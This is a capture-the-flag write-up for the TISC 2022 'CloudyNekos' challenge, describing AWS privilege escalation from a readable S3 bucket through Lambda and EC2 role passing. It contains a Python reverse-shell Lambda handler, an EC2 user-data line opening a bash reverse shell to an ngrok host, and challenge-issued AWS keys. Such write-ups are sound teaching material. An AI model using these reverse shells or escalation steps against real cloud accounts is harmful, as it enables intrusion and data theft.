👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Description
  • Solution
  • Dumping S3 Bucket
  • Enumerating Permissions
  • Some Useful Information
  • Getting lambda_agent_development_role
  • Getting ec2_agent_role
  • Getting the Flag

Was this helpful?

  1. 2022
  2. The InfoSecurity Challenge 2022

Level 4B - CloudyNekos

Description

We have received intelligence that Palindrome has started a global computing infrastructure to be made available to its agent to spin up C2 instances. They relied on Cloud Service Providers like AWS to provide computing resources for its agents. They have their own custom built access system e-service portal that generate short-lived credentials for their agents to use their computing infrastructure. It was said that their access system e-service was diguised as a blog site.

We need your help to access their computing resources and exfiltrate any meaningful intelligence for us.

Start here: http://d20whnyjsgpc34.cloudfront.net

NOTE: Solving challenge 4B allows you to complete level 4, but unlocks challenge 5B only!

Solution

Dumping S3 Bucket

Visiting the webpage, we see the following clues in the HTML source.

<div class="p-5 text-center bg-light">
  <!-- Passcode -->
  <h1 class="mb-3">Cats rule the world</h1>
  <!-- Passcode -->
  <!-- 
    ----- Completed -----
    * Configure CloudFront to use the bucket - palindromecloudynekos as the origin
    
    ----- TODO -----
    * Configure custom header referrer and enforce S3 bucket to only accept that particular header
    * Secure all object access
  -->
  <h4 class="mb-3">—ฅ/ᐠ. ̫ .ᐟ\ฅ —</h4>
</div>

Here's what this is referring to - CloudFront is Amazon's CDN and can be configured to use an S3 bucket as its origin. The CloudFront site will then use files on the S3 buckets to serve the static page. But even so, the user could just access the S3 instance directly. The missing step here is to restrict direct access to the S3 bucket except from authenticated requests from CloudFront using Origin Access Identity (OAI).

The S3 bucket in its current state is readable by all authenticated users, so we could simply login to our own AWS account and use the AWS CLI to access the palindromecloudynekos bucket.

$ aws s3 cp s3://palindromecloudynekos . --recursive
download: s3://palindromecloudynekos/index.html to ./index.html
download: s3://palindromecloudynekos/error.html to ./error.html
download: s3://palindromecloudynekos/api/notes.txt to api/notes.txt
download: s3://palindromecloudynekos/img/photo6.jpg to img/photo6.jpg
download: s3://palindromecloudynekos/img/photo2.jpg to img/photo2.jpg
download: s3://palindromecloudynekos/img/photo4.jpg to img/photo4.jpg
download: s3://palindromecloudynekos/img/photo3.jpg to img/photo3.jpg
download: s3://palindromecloudynekos/img/photo5.jpg to img/photo5.jpg
download: s3://palindromecloudynekos/img/photo1.jpg to img/photo1.jpg

This gives us the next clue.

api/notes.txt
# Neko Access System Invocation Notes

Invoke with the passcode in the header "x-cat-header". The passcode is found on the cloudfront site, all lower caps and separated using underscore.

https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent

All EC2 computing instances should be tagged with the key: 'agent' and the value set to your username. Otherwise, the antivirus cleaner will wipe out the resources.

As we saw earlier, the passcode is X-Cat-Header: cats_rule_the_world. By sending the appropriate request to the API endpoint, we get a set of AWS credentials.

GET /prod/agent HTTP/2
Host: b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com
X-Cat-Header: cats_rule_the_world

HTTP/2 200 OK
Date: Mon, 12 Sep 2022 14:06:30 GMT
Content-Type: application/json
Content-Length: 296
Access-Control-Allow-Origin: *
Apigw-Requestid: YWZzigwJSQ0EPvw=

{"Message": "Welcome there agent! Use the credentials wisely! It should be live for the next 120 minutes! Our antivirus will wipe them out and the associated resources after the expected time usage.", "Access_Key": "AKIAQYDFBGMS7BGNBM64", "Secret_Key": "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"}

Enumerating Permissions

Here are the results that enumerate-iam gave.

2022-08-28 14:26:49,796 - 90864 - [INFO] Starting permission enumeration for access-key-id "AKIAQYDFBGMS7D6342UC"
2022-08-28 14:26:51,590 - 90864 - [INFO] -- Account ARN : arn:aws:iam::051751498533:user/user-e2cb59ebe2e646dda46073d57b40f6fe
2022-08-28 14:26:51,590 - 90864 - [INFO] -- Account Id  : 051751498533
2022-08-28 14:26:51,590 - 90864 - [INFO] -- Account Path: user/user-e2cb59ebe2e646dda46073d57b40f6fe
2022-08-28 14:26:51,876 - 90864 - [INFO] Attempting common-service describe / list brute force.
2022-08-28 14:26:55,435 - 90864 - [INFO] -- sts.get_session_token() worked!
2022-08-28 14:26:55,787 - 90864 - [INFO] -- sts.get_caller_identity() worked!
2022-08-28 14:26:55,800 - 90864 - [INFO] -- ec2.describe_regions() worked!
2022-08-28 14:26:56,129 - 90864 - [INFO] -- ec2.describe_subnets() worked!
2022-08-28 14:26:59,674 - 90864 - [INFO] -- ec2.describe_security_groups() worked!
2022-08-28 14:27:01,068 - 90864 - [INFO] -- ec2.describe_route_tables() worked!
2022-08-28 14:27:01,462 - 90864 - [INFO] -- ec2.describe_vpcs() worked!
2022-08-28 14:27:02,711 - 90864 - [INFO] -- dynamodb.describe_endpoints() worked!
2022-08-28 14:27:03,140 - 90864 - [INFO] -- iam.list_roles() worked!
2022-08-28 14:27:03,512 - 90864 - [INFO] -- ec2.describe_instance_types() worked!
2022-08-28 14:27:06,672 - 90864 - [INFO] -- iam.list_instance_profiles() worked!

Pacu also gave similar results during my initial privileges scan.

Some Useful Information

By trying each of these privileges one by one, I found some interesting information that would come in handy later.

For instance, aws iam list-roles gave a list of roles, some of which looked interesting:

{
	"Path": "/",
	"RoleName": "ec2_agent_role",
	"RoleId": "AROAQYDFBGMSYSEMEVAEH",
	"Arn": "arn:aws:iam::051751498533:role/ec2_agent_role",
	"CreateDate": "2022-07-22T09:29:34+00:00",
	"AssumeRolePolicyDocument": {
		"Version": "2012-10-17",
		"Statement": [
			{
				"Effect": "Allow",
				"Principal": {
					"Service": "ec2.amazonaws.com"
				},
				"Action": "sts:AssumeRole"
			}
		]
	},
	"MaxSessionDuration": 3600
},
{
	"Path": "/",
	"RoleName": "lambda_agent_development_role",
	"RoleId": "AROAQYDFBGMS2NDQR5JSE",
	"Arn": "arn:aws:iam::051751498533:role/lambda_agent_development_role",
	"CreateDate": "2022-07-22T09:29:34+00:00",
	"AssumeRolePolicyDocument": {
		"Version": "2012-10-17",
		"Statement": [
			{
				"Effect": "Allow",
				"Principal": {
					"Service": "lambda.amazonaws.com"
				},
				"Action": "sts:AssumeRole"
			}
		]
	},
	"MaxSessionDuration": 3600
},
{
	"Path": "/",
	"RoleName": "lambda_agent_webservice_role",
	"RoleId": "AROAQYDFBGMSTH7VQVGQC",
	"Arn": "arn:aws:iam::051751498533:role/lambda_agent_webservice_role",
	"CreateDate": "2022-07-22T09:29:35+00:00",
	"AssumeRolePolicyDocument": {
		"Version": "2012-10-17",
		"Statement": [
			{
				"Effect": "Allow",
				"Principal": {
					"Service": "lambda.amazonaws.com"
				},
				"Action": "sts:AssumeRole"
			}
		]
	}
}

aws iam list-instance-profiles also yielded a particularly interesting instance profile, ec2_agent_instance_profile.

{
    "InstanceProfiles": [
        {
            "Path": "/",
            "InstanceProfileName": "ec2_agent_instance_profile",
            "InstanceProfileId": "AIPAQYDFBGMS6EKSSQ2RF",
            "Arn": "arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile",
            "CreateDate": "2022-07-22T09:29:35+00:00",
            "Roles": [
                {
                    "Path": "/",
                    "RoleName": "ec2_agent_role",
                    "RoleId": "AROAQYDFBGMSYSEMEVAEH",
                    "Arn": "arn:aws:iam::051751498533:role/ec2_agent_role",
                    "CreateDate": "2022-07-22T09:29:34+00:00",
                    "AssumeRolePolicyDocument": {
                        "Version": "2012-10-17",
                        "Statement": [
                            {
                                "Effect": "Allow",
                                "Principal": {
                                    "Service": "ec2.amazonaws.com"
                                },
                                "Action": "sts:AssumeRole"
                            }
                        ]
                    }
                }
            ]
        }
    ]
}

Getting lambda_agent_development_role

A few more hours of staring at AWS documentation later, I decided to use Pacu's whoami command and surprisingly, there was a ton of useful information that Pacu has stored already.

"Permissions": {
    "Allow": {
      
      ...
      
      "lambda:CreateFunction": {
        "Resources": [
          "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*"
        ]
      },
      "lambda:GetFunction": {
        "Resources": [
          "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*"
        ]
      },
      "lambda:InvokeFunction": {
        "Resources": [
          "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*"
        ]
      },
      "iam:ListAttachedUserPolicies": {
        "Resources": [
          "arn:aws:iam::051751498533:user/${aws:username}"
        ]
      },
      "iam:PassRole": {
        "Resources": [
          "arn:aws:iam::051751498533:role/lambda_agent_development_role"
        ]
      },
      
      ...
      
    },
    "Deny": {}
  }
}

In particular, we had lambda:CreateFunction, lambda:InvokeFunction and iam:PassRole privileges.

The reason these did not show up in enumerate-iam is probably because enumerate-iam only does a naive bruteforce by attempting to invoke each privilege without any specific format as required in this challenge (e.g. arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*)

First, we create a Python script that gives us a reverse shell.

import os
import socket
import subprocess

def lambda_handler(event, context):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("HOST", PORT))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    p = subprocess.call(["/bin/sh", "-i"])

Then we zip this into a zip file like function.zip, and create a lambda function adhering to the name format above. Using --role, we pass the lambda_agent_development_role to this lambda function.

aws lambda create-function --function-name function:user-b5089e5404f049168e93e51cdba5d212-test --runtime python3.9 --role arn:aws:iam::051751498533:role/lambda_agent_development_role --handler code.lambda_handler --zip-file fileb://function.zip --timeout 100

After invoking the lambda function, we get a reverse shell on our listener!

aws lambda invoke --function-name user-b5089e5404f049168e93e51cdba5d212-test output.txt

Getting ec2_agent_role

Now that we have access to lambda_agent_development_role, let's see how we can leverage our newfound permissions. After enumerating permissions again with our trusty enumeration scripts, we find out that we now have the permission to create EC2 instances.

At this point we need to remember this piece of information given to us early in the challenge, telling us the tags that are required.

All EC2 computing instances should be tagged with the key: 'agent' and the value set to your username. Otherwise, the antivirus cleaner will wipe out the resources.

But in order to gain access to our newfound privileges we would need a way to gain access to our newly created EC2 instance. In this article, the authors leveraged the assigning of SSH key pairs and gained access through the public IP address of the EC2 instance.

  • The user needs to have some way to SSH into the newly created instance.

    • In the example below, the user assigns a public SSH key stored in AWS to the instance and the user has access to the matching private key.

In this challenge, however, this method does not seem quite so feasible (in particular, I had a hard time figuring out how to get the public IP of the instance since we only had access to run-instances but not describe-instances).

It turned out there was a way to do this by using idempotency tokens, which allowed us to get updated information on the result of a previous command. As this was not my solution, I won't discuss it in detail.

Idempotency ensures that an API request completes no more than one time. With an idempotent request, if the original request completes successfully, any subsequent retries complete successfully without performing any further actions. However, the result might contain updated information, such as the current creation status.

Piecing it all together, we can modify our previous lambda function to spawn an EC2 instance that runs a reverse shell on startup.

import json
import boto3
import base64

def lambda_handler(event, context):
  client = boto3.client('ec2')
  response = client.run_instances(
    ImageId='ami-0b89f7b3f054b957e',
    SubnetId='subnet-0aa6ecdf900166741',
    TagSpecifications=[
        {
            'ResourceType': 'instance',
            'Tags': [
                {
                    'Key': 'agent',
                    'Value': 'user-17416bc58b3f40aa95a139bffdac450a'
                },
            ]
        },
    ],
    MaxCount=1,
    MinCount=1,
    IamInstanceProfile={
        'Arn': 'arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile'
    },
    UserData=base64.b64encode(b'#!/bin/bash\n\n/bin/bash -l > /dev/tcp/4.tcp.ngrok.io/18673 0<&1 2>&1\n').decode('utf-8')
  )
  return json.loads(json.dumps(response, default=str))

And we're in! We now have the ec2_agent_role.

Getting the Flag

Once again, we obtain the credentials through the metadata endpoint and enumerate our privileges. This time, we only really had access to dynamodb.

The flag was stored in flag_db and easily retrievable using aws dynamodb scan --table-name flag_db.

{
    "Items": [
        {
            "secret": {
                "S": "TISC{iT3_N0t_s0_C1oUdy}"
            },
            "name": {
                "S": "flag"
            }
        }
    ],
    "Count": 1,
    "ScannedCount": 1,
    "ConsumedCapacity": null
}
PreviousLevel 3 - PATIENT0NextLevel 5B - PALINDROME's Secret (Author Writeup)

Last updated 2 years ago

Was this helpful?

It was at this point that I tried different enumeration tools such as and . Pacu came with a ton of useful modules which came in handy later on.

At this point we can consult this by Bishop Fox that provides a nice table breakdown of different AWS privilege escalation techniques. Our current permissions correspond to technique 15 , which involves creating a Lambda function that assumes a privileged role, thus executing code with higher privileges.

Our current permissions now correspond to technique 3 , involving the iam:PassRole and ec2:RunInstances permissions. Essentially, we could pass in an --iam-instance-profile to assign a role to the EC2 instance.

After a bit more googling, I came across this containing a similar scenario as the one we have here. It turns out that the option can be used to execute a script on startup. This is meant to help perform common configuration and setup tasks when provisioning an EC2 instance.

enumerate-iam
pacu
great resource
here
here
blog post
user-data